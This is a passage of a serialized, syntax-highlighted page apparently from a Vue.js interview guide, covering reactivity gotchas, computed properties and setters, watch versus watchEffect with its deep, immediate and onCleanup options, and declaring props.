",[132,5192,216],{"class":209},[132,5194,219],{"class":165},[132,5196,5197],{"class":134,"line":149},[132,5198,190],{"emptyLinePlaceholder":189},[132,5200,5201,5203,5206,5208,5211],{"class":134,"line":176},[132,5202,230],{"class":209},[132,5204,5205],{"class":233}," scope",[132,5207,237],{"class":209},[132,5209,5210],{"class":158}," effectScope",[132,5212,4951],{"class":138},[132,5214,5215],{"class":134,"line":186},[132,5216,190],{"emptyLinePlaceholder":189},[132,5218,5219,5222,5225,5227,5229],{"class":134,"line":193},[132,5220,5221],{"class":138},"scope.",[132,5223,5224],{"class":158},"run",[132,5226,2659],{"class":138},[132,5228,2662],{"class":209},[132,5230,316],{"class":138},[132,5232,5233,5235,5237,5239,5241,5243,5245],{"class":134,"line":206},[132,5234,4242],{"class":209},[132,5236,234],{"class":233},[132,5238,237],{"class":209},[132,5240,240],{"class":158},[132,5242,243],{"class":138},[132,5244,246],{"class":233},[132,5246,249],{"class":138},[132,5248,5249,5251,5253,5255,5257,5259,5261,5264,5266,5269],{"class":134,"line":222},[132,5250,4242],{"class":209},[132,5252,4663],{"class":233},[132,5254,237],{"class":209},[132,5256,2656],{"class":158},[132,5258,2659],{"class":138},[132,5260,2662],{"class":209},[132,5262,5263],{"class":138}," count.value ",[132,5265,4683],{"class":209},[132,5267,5268],{"class":233}," 2",[132,5270,249],{"class":138},[132,5272,5273,5276,5279,5282,5285,5287,5290,5292,5294,5296],{"class":134,"line":227},[132,5274,5275],{"class":158},"    watch",[132,5277,5278],{"class":138},"(count, (",[132,5280,5281],{"class":697},"val",[132,5283,5284],{"class":138},") ",[132,5286,2662],{"class":209},[132,5288,5289],{"class":138}," console.",[132,5291,3143],{"class":158},[132,5293,243],{"class":138},[132,5295,3148],{"class":165},[132,5297,5298],{"class":138},", val))\n",[132,5300,5301],{"class":134,"line":252},[132,5302,3156],{"class":138},[132,5304,5305],{"class":134,"line":257},[132,5306,190],{"emptyLinePlaceholder":189},[132,5308,5309],{"class":134,"line":269},[132,5310,5311],{"class":397},"// later, stop everything created inside the scope at once\n",[132,5313,5314,5316,5319],{"class":134,"line":278},[132,5315,5221],{"class":138},[132,5317,5318],{"class":158},"stop",[132,5320,4951],{"class":138},[11,5322,5323,5324,5327,5328,5331,5332,5334],{},"Everything created inside ",[18,5325,5326],{},"scope.run(fn)"," gets registered to that scope automatically, so a single ",[18,5329,5330],{},"scope.stop()"," tears down every watcher and computed inside it, preventing memory leaks. This is mostly relevant if you are authoring composables or libraries meant to be used outside typical component setup, most app code never needs to call ",[18,5333,5153],{}," directly because components handle this for you.",[34,5336,5338],{"id":5337},"_40-what-are-common-reactivity-gotchas-that-trip-up-developers-coming-from-vue-2-or-from-react","40. What are common reactivity gotchas that trip up developers coming from Vue 2 or from React?",[11,5340,5341],{},"A handful of mistakes come up constantly, regardless of framework background.",[11,5343,5344,5350,5351,5354,5355,5358],{},[62,5345,5346,5347,5349],{},"Forgetting ",[18,5348,3075],{}," on a ref outside the template."," Since templates auto-unwrap refs but plain script code does not, it is easy to write ",[18,5352,5353],{},"count++"," instead of ",[18,5356,5357],{},"count.value++"," and wonder why nothing updates.",[11,5360,5361,5367,5368,5370,5371,5373],{},[62,5362,5363,5364,5366],{},"Destructuring a ",[18,5365,3071],{}," object."," As covered earlier, this disconnects the destructured variables from the source. The fix is ",[18,5369,3902],{},", or simply preferring ",[18,5372,3079],{}," for values that will need to be passed around individually.",[11,5375,5376,5381,5382,5384,5385,5388,5389,5391],{},[62,5377,5378,5379,5366],{},"Replacing an entire ",[18,5380,3071],{}," Reassigning a ",[18,5383,3999],{}," variable entirely, ",[18,5386,5387],{},"state = { count: 1 }",", breaks the reactive connection, because you have pointed the variable at a brand new plain object instead of mutating the existing Proxy. Mutate properties on the existing object instead, or use ",[18,5390,3079],{}," if whole-value replacement is something you do often.",[123,5393,5395],{"className":388,"code":5394,"language":390,"meta":128,"style":128},"let state = reactive({ count: 0 })\nstate = { count: 1 } // breaks reactivity, this is now a plain object\n",[18,5396,5397,5415],{"__ignoreMap":128},[132,5398,5399,5402,5405,5407,5409,5411,5413],{"class":134,"line":135},[132,5400,5401],{"class":209},"let",[132,5403,5404],{"class":138}," state ",[132,5406,162],{"class":209},[132,5408,3112],{"class":158},[132,5410,3115],{"class":138},[132,5412,246],{"class":233},[132,5414,3120],{"class":138},[132,5416,5417,5420,5422,5424,5426,5428],{"class":134,"line":149},[132,5418,5419],{"class":138},"state ",[132,5421,162],{"class":209},[132,5423,4463],{"class":138},[132,5425,1567],{"class":233},[132,5427,3869],{"class":138},[132,5429,5430],{"class":397},"// breaks reactivity, this is now a plain object\n",[11,5432,5433,5436,5437,5440,5441,5443],{},[62,5434,5435],{},"Expecting synchronous DOM updates."," Coming from imperative DOM code, developers often read ",[18,5438,5439],{},"element.offsetHeight"," or similar right after a state change and get stale results, because Vue batches DOM updates. This is what ",[18,5442,4835],{}," is for.",[11,5445,5446,5449,5450,1556,5452,5454,5455,5458,5459,5461,5462,5465,5466,5469],{},[62,5447,5448],{},"Losing reactivity across component boundaries with plain destructured props."," Destructuring ",[18,5451,4310],{},[18,5453,20],{}," (",[18,5456,5457],{},"const { title } = defineProps(...)",") loses reactivity for that variable in the same way destructuring a ",[18,5460,3999],{}," object does; Vue's compiler has some special-case handling for this in default value expressions, but generally you should access ",[18,5463,5464],{},"props.title"," directly, or wrap it with ",[18,5467,5468],{},"toRef(props, 'title')"," if you need to pass it elsewhere as a standalone reactive reference.",[11,5471,5472,5475,5476,5479,5480,592,5482,5484,5485,581,5488,5491],{},[62,5473,5474],{},"Coming from React and expecting immutability."," React developers are trained to never mutate state directly (",[18,5477,5478],{},"setState"," with a new object/array) because React relies on reference equality checks. Vue is the opposite: ",[18,5481,3071],{},[18,5483,3079],{}," are built specifically so you can mutate in place (",[18,5486,5487],{},"state.items.push(x)",[18,5489,5490],{},"state.count++",") and have Vue detect it automatically. Cloning state defensively before mutating it, out of a React-trained instinct, is unnecessary in Vue and just adds overhead.",[29,5493,5495],{"id":5494},"computed-properties-watchers-and-methods","Computed Properties, Watchers, and Methods",[34,5497,5499],{"id":5498},"_41-what-is-a-computed-property-and-how-is-it-different-from-a-method","41. What is a computed property, and how is it different from a method?",[11,5501,5502],{},"A computed property is a value that's derived from other reactive state and automatically updates when that state changes. A method is just a plain function you call yourself, it doesn't know anything about reactivity on its own.",[11,5504,5505],{},"The practical difference is caching. A computed property tracks the reactive values it reads and only recalculates when one of them actually changes. A method reruns every single time you call it, including every time the component re-renders, even if the result would be identical.",[123,5507,5509],{"className":125,"code":5508,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { ref, computed } from 'vue'\n\nconst price = ref(100)\nconst quantity = ref(3)\n\nconst total = computed(() => price.value * quantity.value)\n\nfunction getTotal() {\n    return price.value * quantity.value\n}\n\u003C/script>\n",[18,5510,5511,5521,5532,5536,5554,5571,5575,5598,5602,5611,5622,5626],{"__ignoreMap":128},[132,5512,5513,5515,5517,5519],{"class":134,"line":135},[132,5514,139],{"class":138},[132,5516,198],{"class":142},[132,5518,201],{"class":158},[132,5520,146],{"class":138},[132,5522,5523,5525,5528,5530],{"class":134,"line":149},[132,5524,210],{"class":209},[132,5526,5527],{"class":138}," { ref, computed } ",[132,5529,216],{"class":209},[132,5531,219],{"class":165},[132,5533,5534],{"class":134,"line":176},[132,5535,190],{"emptyLinePlaceholder":189},[132,5537,5538,5540,5543,5545,5547,5549,5552],{"class":134,"line":186},[132,5539,230],{"class":209},[132,5541,5542],{"class":233}," price",[132,5544,237],{"class":209},[132,5546,240],{"class":158},[132,5548,243],{"class":138},[132,5550,5551],{"class":233},"100",[132,5553,249],{"class":138},[132,5555,5556,5558,5561,5563,5565,5567,5569],{"class":134,"line":193},[132,5557,230],{"class":209},[132,5559,5560],{"class":233}," quantity",[132,5562,237],{"class":209},[132,5564,240],{"class":158},[132,5566,243],{"class":138},[132,5568,3633],{"class":233},[132,5570,249],{"class":138},[132,5572,5573],{"class":134,"line":206},[132,5574,190],{"emptyLinePlaceholder":189},[132,5576,5577,5579,5582,5584,5586,5588,5590,5593,5595],{"class":134,"line":222},[132,5578,230],{"class":209},[132,5580,5581],{"class":233}," total",[132,5583,237],{"class":209},[132,5585,2656],{"class":158},[132,5587,2659],{"class":138},[132,5589,2662],{"class":209},[132,5591,5592],{"class":138}," price.value ",[132,5594,4683],{"class":209},[132,5596,5597],{"class":138}," quantity.value)\n",[132,5599,5600],{"class":134,"line":227},[132,5601,190],{"emptyLinePlaceholder":189},[132,5603,5604,5606,5609],{"class":134,"line":252},[132,5605,260],{"class":209},[132,5607,5608],{"class":158}," getTotal",[132,5610,266],{"class":138},[132,5612,5613,5615,5617,5619],{"class":134,"line":257},[132,5614,706],{"class":209},[132,5616,5592],{"class":138},[132,5618,4683],{"class":209},[132,5620,5621],{"class":138}," quantity.value\n",[132,5623,5624],{"class":134,"line":269},[132,5625,281],{"class":138},[132,5627,5628,5630,5632],{"class":134,"line":278},[132,5629,179],{"class":138},[132,5631,198],{"class":142},[132,5633,146],{"class":138},[11,5635,4110,5636,5639],{},[18,5637,5638],{},"total"," in the template if you're going to reference it more than once, use a method when you need to pass arguments or trigger something on an event like a click.",[34,5641,5643],{"id":5642},"_42-why-are-computed-properties-cached-and-why-does-that-matter-for-performance","42. Why are computed properties cached, and why does that matter for performance?",[11,5645,5646],{},"Vue caches a computed property's return value and only recomputes it when one of its reactive dependencies changes. Until then, reading the computed property anywhere in the template just returns the cached value instantly, it doesn't rerun your function.",[11,5648,5649],{},"This matters because templates can re-render often (any reactive state used in that component changing triggers a re-render), and it's easy to reference the same derived value in several places. If that derived value were a method call instead, an expensive operation like filtering a 10,000-item array would run again on every render, even when the array and filter criteria haven't moved at all.",[123,5651,5653],{"className":388,"code":5652,"language":390,"meta":128,"style":128},"const results = computed(() => items.value.filter(i => i.active))\n",[18,5654,5655],{"__ignoreMap":128},[132,5656,5657,5659,5662,5664,5666,5668,5670,5673,5675,5677,5680,5682],{"class":134,"line":135},[132,5658,230],{"class":209},[132,5660,5661],{"class":233}," results",[132,5663,237],{"class":209},[132,5665,2656],{"class":158},[132,5667,2659],{"class":138},[132,5669,2662],{"class":209},[132,5671,5672],{"class":138}," items.value.",[132,5674,2668],{"class":158},[132,5676,243],{"class":138},[132,5678,5679],{"class":697},"i",[132,5681,2675],{"class":209},[132,5683,5684],{"class":138}," i.active))\n",[11,5686,5687,5688,5691,5692,5694],{},"Here ",[18,5689,5690],{},"results"," only re-filters when ",[18,5693,1644],{}," (or something read inside the function) actually changes, no matter how many times it's used in the template or how often the component re-renders for unrelated reasons.",[34,5696,5698],{"id":5697},"_43-what-is-a-computed-setter-and-when-would-you-use-one","43. What is a computed setter, and when would you use one?",[11,5700,5701,5702,592,5704,5706],{},"By default a computed property is read-only, you pass it a getter function and it returns a value. A computed setter lets that same computed property also be written to, by passing an object with ",[18,5703,3676],{},[18,5705,3679],{}," instead of a plain function.",[11,5708,5709],{},"You reach for this when you want a derived value to behave like a normal writable piece of state from the outside, usually to keep two related pieces of data in sync. A classic example is splitting a full name into first and last name:",[123,5711,5713],{"className":125,"code":5712,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { ref, computed } from 'vue'\n\nconst firstName = ref('Ada')\nconst lastName = ref('Lovelace')\n\nconst fullName = computed({\n    get() {\n        return `${firstName.value} ${lastName.value}`\n    },\n    set(newValue) {\n        const [first, last] = newValue.split(' ')\n        firstName.value = first\n        lastName.value = last\n    }\n})\n\u003C/script>\n",[18,5714,5715,5725,5735,5739,5757,5775,5779,5792,5799,5826,5831,5843,5875,5885,5895,5899,5903],{"__ignoreMap":128},[132,5716,5717,5719,5721,5723],{"class":134,"line":135},[132,5718,139],{"class":138},[132,5720,198],{"class":142},[132,5722,201],{"class":158},[132,5724,146],{"class":138},[132,5726,5727,5729,5731,5733],{"class":134,"line":149},[132,5728,210],{"class":209},[132,5730,5527],{"class":138},[132,5732,216],{"class":209},[132,5734,219],{"class":165},[132,5736,5737],{"class":134,"line":176},[132,5738,190],{"emptyLinePlaceholder":189},[132,5740,5741,5743,5746,5748,5750,5752,5755],{"class":134,"line":186},[132,5742,230],{"class":209},[132,5744,5745],{"class":233}," firstName",[132,5747,237],{"class":209},[132,5749,240],{"class":158},[132,5751,243],{"class":138},[132,5753,5754],{"class":165},"'Ada'",[132,5756,249],{"class":138},[132,5758,5759,5761,5764,5766,5768,5770,5773],{"class":134,"line":193},[132,5760,230],{"class":209},[132,5762,5763],{"class":233}," lastName",[132,5765,237],{"class":209},[132,5767,240],{"class":158},[132,5769,243],{"class":138},[132,5771,5772],{"class":165},"'Lovelace'",[132,5774,249],{"class":138},[132,5776,5777],{"class":134,"line":206},[132,5778,190],{"emptyLinePlaceholder":189},[132,5780,5781,5783,5786,5788,5790],{"class":134,"line":222},[132,5782,230],{"class":209},[132,5784,5785],{"class":233}," fullName",[132,5787,237],{"class":209},[132,5789,2656],{"class":158},[132,5791,4542],{"class":138},[132,5793,5794,5797],{"class":134,"line":227},[132,5795,5796],{"class":158},"    get",[132,5798,266],{"class":138},[132,5800,5801,5803,5806,5809,5811,5813,5816,5819,5821,5823],{"class":134,"line":252},[132,5802,862],{"class":209},[132,5804,5805],{"class":165}," `${",[132,5807,5808],{"class":138},"firstName",[132,5810,385],{"class":165},[132,5812,4628],{"class":138},[132,5814,5815],{"class":165},"} ${",[132,5817,5818],{"class":138},"lastName",[132,5820,385],{"class":165},[132,5822,4628],{"class":138},[132,5824,5825],{"class":165},"}`\n",[132,5827,5828],{"class":134,"line":257},[132,5829,5830],{"class":138},"    },\n",[132,5832,5833,5836,5838,5841],{"class":134,"line":269},[132,5834,5835],{"class":158},"    set",[132,5837,243],{"class":138},[132,5839,5840],{"class":697},"newValue",[132,5842,701],{"class":138},[132,5844,5845,5847,5850,5853,5855,5858,5860,5862,5865,5868,5870,5873],{"class":134,"line":278},[132,5846,824],{"class":209},[132,5848,5849],{"class":138}," [",[132,5851,5852],{"class":233},"first",[132,5854,581],{"class":138},[132,5856,5857],{"class":233},"last",[132,5859,3646],{"class":138},[132,5861,162],{"class":209},[132,5863,5864],{"class":138}," newValue.",[132,5866,5867],{"class":158},"split",[132,5869,243],{"class":138},[132,5871,5872],{"class":165},"' '",[132,5874,249],{"class":138},[132,5876,5877,5880,5882],{"class":134,"line":284},[132,5878,5879],{"class":138},"        firstName.value ",[132,5881,162],{"class":209},[132,5883,5884],{"class":138}," first\n",[132,5886,5887,5890,5892],{"class":134,"line":293},[132,5888,5889],{"class":138},"        lastName.value ",[132,5891,162],{"class":209},[132,5893,5894],{"class":138}," last\n",[132,5896,5897],{"class":134,"line":298},[132,5898,870],{"class":138},[132,5900,5901],{"class":134,"line":311},[132,5902,3156],{"class":138},[132,5904,5905,5907,5909],{"class":134,"line":319},[132,5906,179],{"class":138},[132,5908,198],{"class":142},[132,5910,146],{"class":138},[11,5912,5913,5914,5917,5918,592,5920,5922,5923,5925],{},"Now ",[18,5915,5916],{},"fullName.value = 'Grace Hopper'"," updates both ",[18,5919,5808],{},[18,5921,5818],{}," behind the scenes. This is also common when binding a computed directly with ",[18,5924,2182],{}," on a form input that needs to transform a value on the way in and out.",[34,5927,5929,5930,592,5932,1349],{"id":5928},"_44-what-is-the-difference-between-computed-and-watch","44. What is the difference between ",[18,5931,629],{},[18,5933,5029],{},[11,5935,5936,5938,5939,5941],{},[18,5937,629],{}," is for deriving a value you're going to use somewhere, typically in the template. ",[18,5940,5029],{}," is for running a side effect in response to a change, it doesn't give you a value to render, it gives you a callback to react in.",[479,5943,5944,5958],{},[482,5945,5946],{},[485,5947,5948,5950,5954],{},[488,5949],{},[488,5951,5952],{},[18,5953,629],{},[488,5955,5956],{},[18,5957,5029],{},[498,5959,5960,5971,5981,5992,6006],{},[485,5961,5962,5965,5968],{},[503,5963,5964],{},"Returns",[503,5966,5967],{},"A reactive value (ref)",[503,5969,5970],{},"Nothing, runs a callback",[485,5972,5973,5975,5978],{},[503,5974,1202],{},[503,5976,5977],{},"Derive/transform data",[503,5979,5980],{},"Run side effects (API calls, logging, DOM work)",[485,5982,5983,5986,5989],{},[503,5984,5985],{},"Caching",[503,5987,5988],{},"Yes, cached until dependencies change",[503,5990,5991],{},"No caching, just runs the callback",[485,5993,5994,5997,6000],{},[503,5995,5996],{},"Access to old value",[503,5998,5999],{},"No",[503,6001,6002,6003],{},"Yes, ",[18,6004,6005],{},"(newVal, oldVal) => {}",[485,6007,6008,6011,6016],{},[503,6009,6010],{},"Typical use",[503,6012,6013],{},[18,6014,6015],{},"\u003Cp>{{ fullName }}\u003C/p>",[503,6017,6018],{},"Fetching data when a route param changes",[11,6020,6021,6022,6024,6025,6027,6028,6030,6031,6034],{},"A good rule of thumb: if you're about to write ",[18,6023,5029],{}," just to set another ref to a transformed version of the first one, that's almost always better expressed as a ",[18,6026,629],{},". Reach for ",[18,6029,5029],{}," when the reaction is something computed can't express, like calling an API, writing to ",[18,6032,6033],{},"localStorage",", or manipulating a non-Vue library.",[34,6036,6038,6039,592,6041,1349],{"id":6037},"_45-what-is-the-difference-between-watch-and-watcheffect","45. What is the difference between ",[18,6040,5029],{},[18,6042,5032],{},[11,6044,6045],{},"Both let you run a function in response to reactive state changing, but they differ in how they figure out what to track and when they first run.",[11,6047,6048,6050],{},[18,6049,5029],{}," is explicit: you tell it exactly which source (or sources) to watch, and it only reruns when that specific source changes. It's lazy by default, meaning it doesn't run on setup, only after the watched source changes, and it gives you both the new and old value.",[11,6052,6053,6055],{},[18,6054,5032],{}," is implicit: it runs your function immediately once, and automatically tracks whatever reactive values you happened to read inside it during that run. It reruns whenever any of those tracked values change. It does not give you the old value.",[123,6057,6059],{"className":388,"code":6058,"language":390,"meta":128,"style":128},"// watch: explicit source, lazy, gives old/new value\nwatch(userId, (newId, oldId) => {\n    fetchUser(newId)\n})\n\n// watchEffect: auto-tracks dependencies, runs immediately\nwatchEffect(() => {\n    fetchUser(userId.value)\n})\n",[18,6060,6061,6066,6087,6095,6099,6103,6108,6118,6125],{"__ignoreMap":128},[132,6062,6063],{"class":134,"line":135},[132,6064,6065],{"class":397},"// watch: explicit source, lazy, gives old/new value\n",[132,6067,6068,6070,6073,6076,6078,6081,6083,6085],{"class":134,"line":149},[132,6069,5029],{"class":158},[132,6071,6072],{"class":138},"(userId, (",[132,6074,6075],{"class":697},"newId",[132,6077,581],{"class":138},[132,6079,6080],{"class":697},"oldId",[132,6082,5284],{"class":138},[132,6084,2662],{"class":209},[132,6086,316],{"class":138},[132,6088,6089,6092],{"class":134,"line":176},[132,6090,6091],{"class":158},"    fetchUser",[132,6093,6094],{"class":138},"(newId)\n",[132,6096,6097],{"class":134,"line":186},[132,6098,3156],{"class":138},[132,6100,6101],{"class":134,"line":193},[132,6102,190],{"emptyLinePlaceholder":189},[132,6104,6105],{"class":134,"line":206},[132,6106,6107],{"class":397},"// watchEffect: auto-tracks dependencies, runs immediately\n",[132,6109,6110,6112,6114,6116],{"class":134,"line":222},[132,6111,5032],{"class":158},[132,6113,2659],{"class":138},[132,6115,2662],{"class":209},[132,6117,316],{"class":138},[132,6119,6120,6122],{"class":134,"line":227},[132,6121,6091],{"class":158},[132,6123,6124],{"class":138},"(userId.value)\n",[132,6126,6127],{"class":134,"line":252},[132,6128,3156],{"class":138},[11,6130,4110,6131,6133,6134,6136],{},[18,6132,5029],{}," when you want to watch a specific, narrow source and need the old value, or when you don't want the effect to run immediately. Use ",[18,6135,5032],{}," when the effect naturally reads several reactive values together and you just want \"rerun whenever any of these change\" without listing them out by hand.",[34,6138,6140,6141,6144,6145,6147],{"id":6139},"_46-what-does-the-deep-option-do-on-watch-and-when-do-you-actually-need-it","46. What does the ",[18,6142,6143],{},"deep"," option do on ",[18,6146,5029],{},", and when do you actually need it?",[11,6149,4326,6150,6152,6153,6156,6157,6160,6161,6164],{},[18,6151,5029],{}," on an object or array only fires when the reference itself is replaced, not when a property inside it changes. So ",[18,6154,6155],{},"watch(user, callback)"," won't fire if you do ",[18,6158,6159],{},"user.value.name = 'New Name'",", because ",[18,6162,6163],{},"user.value"," still points to the same object.",[11,6166,1543,6167,6170],{},[18,6168,6169],{},"deep: true"," option makes Vue recursively walk into the object and track every nested property, so the callback fires on mutations anywhere inside it, not just on reassignment.",[123,6172,6174],{"className":388,"code":6173,"language":390,"meta":128,"style":128},"const user = ref({ name: 'Ada', settings: { theme: 'dark' } })\n\nwatch(user, () => {\n    console.log('something inside user changed')\n}, { deep: true })\n",[18,6175,6176,6200,6204,6215,6228],{"__ignoreMap":128},[132,6177,6178,6180,6183,6185,6187,6190,6192,6195,6198],{"class":134,"line":135},[132,6179,230],{"class":209},[132,6181,6182],{"class":233}," user",[132,6184,237],{"class":209},[132,6186,240],{"class":158},[132,6188,6189],{"class":138},"({ name: ",[132,6191,5754],{"class":165},[132,6193,6194],{"class":138},", settings: { theme: ",[132,6196,6197],{"class":165},"'dark'",[132,6199,4388],{"class":138},[132,6201,6202],{"class":134,"line":149},[132,6203,190],{"emptyLinePlaceholder":189},[132,6205,6206,6208,6211,6213],{"class":134,"line":176},[132,6207,5029],{"class":158},[132,6209,6210],{"class":138},"(user, () ",[132,6212,2662],{"class":209},[132,6214,316],{"class":138},[132,6216,6217,6219,6221,6223,6226],{"class":134,"line":186},[132,6218,3140],{"class":138},[132,6220,3143],{"class":158},[132,6222,243],{"class":138},[132,6224,6225],{"class":165},"'something inside user changed'",[132,6227,249],{"class":138},[132,6229,6230,6233,6235],{"class":134,"line":193},[132,6231,6232],{"class":138},"}, { deep: ",[132,6234,1853],{"class":233},[132,6236,3120],{"class":138},[11,6238,6239,6240,6242,6243,1334,6245,6247,6248,6251,6252,385],{},"You need ",[18,6241,6143],{}," specifically when you're watching a ",[18,6244,1004],{},[18,6246,3999],{}," object/array and care about nested mutations rather than the whole thing being swapped out. Be careful with it though: deep watching a large or deeply nested object walks the entire structure on every change, which can hurt performance. If you only care about one nested field, it's usually cheaper to watch a getter for that specific path, like ",[18,6249,6250],{},"watch(() => user.value.settings.theme, callback)",", instead of turning on ",[18,6253,6143],{},[34,6255,6257,6258,6144,6261,1349],{"id":6256},"_47-what-does-the-immediate-option-do-on-watch","47. What does the ",[18,6259,6260],{},"immediate",[18,6262,5029],{},[11,6264,6265,6266,6268,6269,6272],{},"Normally, ",[18,6267,5029],{}," is lazy: the callback only runs the first time the watched source changes, not when the watcher is first set up. ",[18,6270,6271],{},"immediate: true"," makes Vue also run the callback right away, once, with the current value, before waiting for any change.",[123,6274,6276],{"className":388,"code":6275,"language":390,"meta":128,"style":128},"watch(userId, (id) => {\n    fetchUser(id)\n}, { immediate: true })\n",[18,6277,6278,6292,6299],{"__ignoreMap":128},[132,6279,6280,6282,6284,6286,6288,6290],{"class":134,"line":135},[132,6281,5029],{"class":158},[132,6283,6072],{"class":138},[132,6285,1658],{"class":697},[132,6287,5284],{"class":138},[132,6289,2662],{"class":209},[132,6291,316],{"class":138},[132,6293,6294,6296],{"class":134,"line":149},[132,6295,6091],{"class":158},[132,6297,6298],{"class":138},"(id)\n",[132,6300,6301,6304,6306],{"class":134,"line":176},[132,6302,6303],{"class":138},"}, { immediate: ",[132,6305,1853],{"class":233},[132,6307,3120],{"class":138},[11,6309,6310,6311,6313],{},"This is handy any time the side effect should also happen on initial load, not just on subsequent changes, for example fetching data based on a prop that already has a value the moment the component mounts. Without ",[18,6312,6260],{},", you'd have to duplicate the fetch call once outside the watcher and once inside it.",[34,6315,6317,6318,6320,6321,6324],{"id":6316},"_48-how-do-you-clean-up-a-side-effect-inside-watcheffect-using-its-oncleanup-callback","48. How do you clean up a side effect inside ",[18,6319,5032],{}," using its ",[18,6322,6323],{},"onCleanup"," callback?",[11,6326,6327,6329,6330,6332,6333,6336],{},[18,6328,5032],{}," passes an ",[18,6331,6323],{}," function as an argument to the callback you give it. You call ",[18,6334,6335],{},"onCleanup(fn)"," to register a function that Vue will run right before the effect reruns, and also when the watcher is stopped (for example, when the component unmounts). It's how you cancel or undo whatever the previous run of the effect started, so stale work doesn't leak into the next run.",[11,6338,6339],{},"This matters most for async work like fetch requests or timers, where a fast-changing dependency could otherwise fire off several overlapping requests and let an old, slow response overwrite a newer one.",[123,6341,6343],{"className":388,"code":6342,"language":390,"meta":128,"style":128},"watchEffect((onCleanup) => {\n    const controller = new AbortController()\n\n    fetch(`/api/users/${userId.value}`, { signal: controller.signal })\n        .then(res => res.json())\n        .then(data => { user.value = data })\n\n    onCleanup(() => controller.abort())\n})\n",[18,6344,6345,6360,6377,6381,6404,6427,6447,6451,6468],{"__ignoreMap":128},[132,6346,6347,6349,6352,6354,6356,6358],{"class":134,"line":135},[132,6348,5032],{"class":158},[132,6350,6351],{"class":138},"((",[132,6353,6323],{"class":697},[132,6355,5284],{"class":138},[132,6357,2662],{"class":209},[132,6359,316],{"class":138},[132,6361,6362,6364,6367,6369,6372,6375],{"class":134,"line":149},[132,6363,4242],{"class":209},[132,6365,6366],{"class":233}," controller",[132,6368,237],{"class":209},[132,6370,6371],{"class":209}," new",[132,6373,6374],{"class":158}," AbortController",[132,6376,4951],{"class":138},[132,6378,6379],{"class":134,"line":176},[132,6380,190],{"emptyLinePlaceholder":189},[132,6382,6383,6386,6388,6391,6394,6396,6398,6401],{"class":134,"line":186},[132,6384,6385],{"class":158},"    fetch",[132,6387,243],{"class":138},[132,6389,6390],{"class":165},"`/api/users/${",[132,6392,6393],{"class":138},"userId",[132,6395,385],{"class":165},[132,6397,4628],{"class":138},[132,6399,6400],{"class":165},"}`",[132,6402,6403],{"class":138},", { signal: controller.signal })\n",[132,6405,6406,6409,6412,6414,6417,6419,6422,6425],{"class":134,"line":193},[132,6407,6408],{"class":138},"        .",[132,6410,6411],{"class":158},"then",[132,6413,243],{"class":138},[132,6415,6416],{"class":697},"res",[132,6418,2675],{"class":209},[132,6420,6421],{"class":138}," res.",[132,6423,6424],{"class":158},"json",[132,6426,4560],{"class":138},[132,6428,6429,6431,6433,6435,6437,6439,6442,6444],{"class":134,"line":206},[132,6430,6408],{"class":138},[132,6432,6411],{"class":158},[132,6434,243],{"class":138},[132,6436,622],{"class":697},[132,6438,2675],{"class":209},[132,6440,6441],{"class":138}," { user.value ",[132,6443,162],{"class":209},[132,6445,6446],{"class":138}," data })\n",[132,6448,6449],{"class":134,"line":222},[132,6450,190],{"emptyLinePlaceholder":189},[132,6452,6453,6456,6458,6460,6463,6466],{"class":134,"line":227},[132,6454,6455],{"class":158},"    onCleanup",[132,6457,2659],{"class":138},[132,6459,2662],{"class":209},[132,6461,6462],{"class":138}," controller.",[132,6464,6465],{"class":158},"abort",[132,6467,4560],{"class":138},[132,6469,6470],{"class":134,"line":252},[132,6471,3156],{"class":138},[11,6473,6474,6475,6477,6478,6481],{},"Every time ",[18,6476,6393],{}," changes, Vue calls the cleanup function first, aborting the in-flight request, before running the effect again with the new id. The same pattern works for clearing a ",[18,6479,6480],{},"setTimeout",", removing an event listener, or unsubscribing from anything you subscribed to inside the effect.",[29,6483,6485],{"id":6484},"components-props-events-and-v-model","Components: Props, Events, and v-model",[34,6487,6489],{"id":6488},"_49-what-are-props-and-how-do-you-declare-and-validate-them","49. What are props, and how do you declare and validate them?",[11,6491,6492],{},"Props are how a parent component passes data down into a child component. They flow one way, from parent to child, and the child treats them as read-only input.",[11,6494,6495,6496,6498,6499,6502],{},"In ",[18,6497,20],{},", you declare props with the ",[18,6500,6501],{},"defineProps"," macro, either as a simple array of names or, more usefully, as an object where each entry describes the type, whether it's required, a default value, and an optional custom validator.",[123,6504,6506],{"className":125,"code":6505,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nconst props = defineProps({\n    title: {\n        type: String,\n        required: true\n    },\n    count: {\n        type: Number,\n        default: 0\n    },\n    status: {\n        type: String,\n        default: 'idle',\n        validator: (value) => ['idle', 'loading', 'done'].includes(value)\n    }\n})\n\u003C/script>\n",[18,6507,6508,6518,6532,6537,6542,6550,6554,6559,6564,6572,6576,6581,6585,6594,6630,6634,6638],{"__ignoreMap":128},[132,6509,6510,6512,6514,6516],{"class":134,"line":135},[132,6511,139],{"class":138},[132,6513,198],{"class":142},[132,6515,201],{"class":158},[132,6517,146],{"class":138},[132,6519,6520,6522,6525,6527,6530],{"class":134,"line":149},[132,6521,230],{"class":209},[132,6523,6524],{"class":233}," props",[132,6526,237],{"class":209},[132,6528,6529],{"class":158}," defineProps",[132,6531,4542],{"class":138},[132,6533,6534],{"class":134,"line":176},[132,6535,6536],{"class":138},"    title: {\n",[132,6538,6539],{"class":134,"line":186},[132,6540,6541],{"class":138},"        type: String,\n",[132,6543,6544,6547],{"class":134,"line":193},[132,6545,6546],{"class":138},"        required: ",[132,6548,6549],{"class":233},"true\n",[132,6551,6552],{"class":134,"line":206},[132,6553,5830],{"class":138},[132,6555,6556],{"class":134,"line":222},[132,6557,6558],{"class":138},"    count: {\n",[132,6560,6561],{"class":134,"line":227},[132,6562,6563],{"class":138},"        type: Number,\n",[132,6565,6566,6569],{"class":134,"line":252},[132,6567,6568],{"class":138},"        default: ",[132,6570,6571],{"class":233},"0\n",[132,6573,6574],{"class":134,"line":257},[132,6575,5830],{"class":138},[132,6577,6578],{"class":134,"line":269},[132,6579,6580],{"class":138},"    status: {\n",[132,6582,6583],{"class":134,"line":278},[132,6584,6541],{"class":138},[132,6586,6587,6589,6592],{"class":134,"line":284},[132,6588,6568],{"class":138},[132,6590,6591],{"class":165},"'idle'",[132,6593,2377],{"class":138},[132,6595,6596,6599,6602,6604,6606,6608,6610,6612,6614,6617,6619,6622,6625,6628],{"class":134,"line":293},[132,6597,6598],{"class":158},"        validator",[132,6600,6601],{"class":138},": 